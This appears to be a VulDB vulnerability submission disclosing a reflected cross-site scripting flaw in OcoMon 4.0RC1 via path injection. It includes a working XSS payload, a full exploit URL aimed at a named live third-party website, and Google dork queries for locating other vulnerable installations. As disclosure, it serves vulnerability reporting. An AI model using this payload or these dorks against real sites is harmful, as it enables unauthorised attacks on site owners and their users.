| Title | OcoMon Software 4.0 Cross Site Scripting |
|---|
| Description | Hi VulDB Team! I found a Reflected XSS via Path Injection in OcoMon 4.0RC1 - 20211023
I checked for CVE assigned for this but I not found and I contacted vendor but no response.
This website for example using the software and it's vulnerable, see the XSS Pop-up:
https://sac.edtbrasil.com/includes/common/require_access_recovery.php/xx'%22%3E%3Cimg%20src=q%20onerror=prompt(document.domain)%3E
I injected the payload: xx'"><img src=q onerror=prompt(document.domain)> in final URL after "/"
Google Dorks for finding more websites:
intitle:"OcoMon 4.0RC1 - 20211023"
intitle:"OcoMon 4.0RC1"
Impact:
View any information that the user is able to view.
Modify any information that the user is able to modify.
Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.
Others:
1- Ad-Jacking 2- Session Hijacking 3- Bypassing CSRF protection 4- Phishing
5- Send malware to users 6- Redirect to malicious website
Cheers,
Everton Hydd3n |
|---|
| Source | ⚠️ https://sac.edtbrasil.com/includes/common/require_access_recovery.php/xx'%22%3E%3Cimg%20src=q%20onerror=prompt(document.domain)%3E |
|---|
| User | Hydd3n (UID 73317) |
|---|
| Submission | 08/10/2024 12:15 (2 years ago) |
|---|
| Moderation | 08/12/2024 20:46 (2 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 274205 [OcoMon 4.0/4.0RC1/5.0RC1 URL require_access_recovery.php cross site scripting] |
|---|
| Points | 20 |
|---|